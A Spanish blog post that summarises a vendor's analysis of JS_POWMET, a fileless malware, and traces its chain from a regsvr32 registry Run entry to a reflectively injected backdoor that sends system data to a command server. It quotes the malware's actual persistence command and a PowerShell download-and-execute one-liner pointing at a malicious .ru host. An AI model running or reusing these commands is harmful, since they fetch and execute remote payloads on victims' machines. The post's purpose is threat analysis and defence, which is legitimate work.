El pasado 24 de julio el equipo de
Trend Micro anunciaba la detección de JS_POWMET, un malware completamente
"fileless" que realiza toda su actividad desde la memoria, sin
escribir ni dejar rastro en el disco duro de la víctima.
¿QUÉ ES EL MALWARE
"FILELESS"?
Fileless malware, o malware sin
ficheros, es un tipo de malware que se instala y se ejecuta en memoria. No
necesita escribir ningún dato en el disco duro de la víctima para ejecutar su
payload, lo que dificulta enormemente su detección.
Este tipo de familias se conocen como
"Advanced Volatile Threats (AVT)" y suelen estar orientadas al robo
de información valiosa y propiedad intelectual de empresas, bancos y gobiernos.
Antecedentes
Este concepto de malware "sin
ficheros" no es nuevo. De hecho el primer "fileless malware"
data de 1987: conocido como Lehigh, infectaba el fichero COMMAND.COM y se
instalaba en la memoria. Desde allí buscaba otros ficheros COMMAND.COM y los
infectaba. Cuando había realizado cuatro infecciones sobreescribía el sector de
arranque y la tabla de asignación de archivos.
La mayoría de esta clase de virus
terminan realizando algún tipo de escritura en disco cuando ejecutan su
payload. Son sólo "fileless" durante la fase de infección.
JS_POWMET sin embargo no realiza
ninguna escritura durante su ciclo de vida, lo que lo hace particularmente
interesante.
Cómo funciona JS_POWMET
El virus llega al sistema a través de
un malware intermedio que añade una entrada al registro de arranque de Windows:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = “regsvr32 /s /n /u /i:{URL al
XML malicioso} scrobj.dll”
Este comando ejecutará cada vez que se
inicie la máquina un Javascript malicioso contenido en un XML remoto, sin
necesidad de guardarlo en el disco duro.
Una vez ejecutado, JS_POWMET
descargará el fichero "TROJ_PSINJECT", un script para Powershell que
descargará y desencriptará otro fichero: "favicon" desde la URL
https://bogerando.ru/favicon.
%System%\WindowsPowerShell\v1.0\powershell.exe
-nop -ep Bypass -noexit -c
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true
}; iex ((New-Object
System.Net.WebClient).DownloadString('https://{BLOCKED}ndo.ru/p1'));
Una vez descifrado, el fichero
"favicon" se inyectará por medio de "ReflectivePELoader" en
el proceso "TROJ_PSINJECT", todo esto sin guardar ningún fichero al
disco duro.
A continuación el malware volverá a
descifrar el fichero "favicon" utilizando una clave RC4 hardcodeada
en el código del virus. Esto da lugar a una nueva DLL maliciosa,
"BKDR_ANDROM" que se inyectará en el proceso que ejecuta Powershell.
BKDR_ANDROM recopilará información
sensible sobre el sistema y la enviará al C&C antes de cerrar todos los
procesos powershell.exe y borrar todo rastro del virus.
Recomendación
- Como contramedidas se propone utilizar sistemas
basados en contenedores en los puntos más críticos de la red.
Más información
- A Look at
JS_POWMET, a Completely Fileless Malware
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/
- JS_POWMET.DE https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/js_powmet.de